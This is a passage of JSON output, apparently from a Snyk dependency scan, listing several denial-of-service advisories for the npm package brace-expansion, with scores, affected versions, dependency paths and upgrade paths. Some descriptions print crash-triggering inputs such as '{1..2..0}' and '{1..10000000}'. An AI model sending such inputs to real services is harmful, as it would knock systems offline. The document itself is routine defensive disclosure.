}, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 